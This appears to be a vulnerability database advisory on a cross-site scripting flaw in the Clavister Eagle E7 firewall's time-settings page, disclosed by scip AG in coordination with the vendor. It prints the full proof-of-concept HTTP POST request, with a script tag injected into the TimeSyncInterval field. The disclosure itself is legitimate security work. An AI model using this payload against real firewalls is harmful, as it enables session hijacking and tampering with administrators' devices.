A vulnerability, which was classified as problematic, was found in Clavister Eagle E7 (Firewall Software) (version unknown). Affected is an unknown function of the file /?Page=Node/OBJ=/System/DeviceFolder/DeviceFolder/DateTime/Action=Submit. The manipulation with an unknown input leads to a cross site scripting vulnerability. CWE is classifying the issue as CWE-80. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. This is going to have an impact on integrity.

The bug was discovered 08/05/2014. The weakness was presented 07/28/2015 by Oliver Kunz and Marc Ruef with scip AG as sID 76818 as confirmed entry (scip VulDB). The advisory is available at scip.ch. The public release was coordinated in cooperation with the vendor. The exploitability is told to be easy. It is possible to launch the attack remotely. The successful exploitation requires a authentication. Successful exploitation requires user interaction by the victim. Technical details and a public exploit are known. This vulnerability is assigned to T1059.007 by the MITRE ATT&CK project.

A public exploit has been developed by Oliver Kunz in HTTP POST Request and been published before and not just after the advisory. The exploit is shared for download at vuldb.com. It is declared as functional. The vulnerability was handled as a non-public zero-day exploit for at least 357 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

POST /?Page=Node&OBJ=/System/DeviceFolder/DeviceFolder/DateTime&Action=Submit HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/?Page=Node&OBJ=/System/DeviceFolder/DeviceFolder/DateTime
Cookie: ID=2340081123
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 342

TimeZone=3600&DSTEnabled=on&DSTOffset=60&DSTStartMonth=3&DSTStartDay=1&DSTEndMonth=10&DSTEndDay=1&TimeSyncEnable=on&TimeSyncServerType=SNTP&TimeSyncServer1=dns%3Antp.clavister.com&TimeSyncServer2=&TimeSyncServer3=&TimeSyncInterval=86400"><script>alert("scip");</script>&TimeSyncMaxAdjust=600&TimeSyncGroupIntervalSize=10&btnOK=OK

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

See 76819 for similar entry.

Productinfo

Type

• Firewall Software

Vendor

• Clavister

Name

• Eagle E7

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